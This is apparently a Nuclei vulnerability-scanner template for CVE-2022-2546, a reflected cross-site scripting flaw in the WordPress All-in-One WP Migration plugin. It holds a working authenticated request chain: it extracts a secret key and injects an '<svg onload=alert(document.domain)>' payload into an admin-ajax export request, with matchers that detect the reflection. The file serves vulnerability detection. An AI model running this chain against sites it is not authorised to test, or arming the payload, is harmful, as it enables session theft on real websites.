id: CVE-2022-2546

info:
  name: WordPress All-in-One WP Migration <=7.62 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    WordPress All-in-One WP Migration plugin 7.62 and prior contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the target website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the WordPress All-in-One WP Migration plugin (7.63 or higher) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/f84920e4-a1fe-47cf-9ba5-731989c70f58
    - https://wordpress.org/plugins/all-in-one-wp-migration/
    - https://patchstack.com/database/vulnerability/all-in-one-wp-migration/wordpress-all-in-one-wp-migration-plugin-7-62-unauthenticated-reflected-cross-site-scripting-xss-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2546
    - https://github.com/0xvinix/CVE-2022-2546
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.7
    cve-id: CVE-2022-2546
    cwe-id: CWE-79
    epss-score: 0.01204
    epss-percentile: 0.65209
    cpe: cpe:2.3:a:servmask:all-in-one_wp_migration:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: servmask
    product: all-in-one_wp_migration
    framework: wordpress
  tags: cve,cve2022,all-in-one-wp-migration,authenticated,wpscan,wordpress,wp-plugin,wp,xss,servmask,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=ai1wm_export HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bnew_value%5D%5B%5D=XSSPAYLOAD%3Csvg+onload=alert(document.domain)%3E&ai1wm_manual_export=1&secret_key={{secretkey}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains(header_3, "text/html")
          - status_code_3 == 200
          - contains(body_3, '{\"new_value\":[\"XSSPAYLOAD<svg onload=alert(document.domain)>')
        condition: and

    extractors:
      - type: regex
        name: secretkey
        group: 1
        regex:
          - 'ai1wm_feedback"},"secret_key":"([0-9a-zA-Z]+)"'
        internal: true
# digest: 4a0a004730450220296910801006dae97ed31bd6a5d8f83f9105c665324e6d65cb87d441d0d3610c02210089b843b7848ae666de9e59b9871804757a614ef2ef53ee6b321ccbb52c7a3779:922c64590222798bb761d5b6d8e72950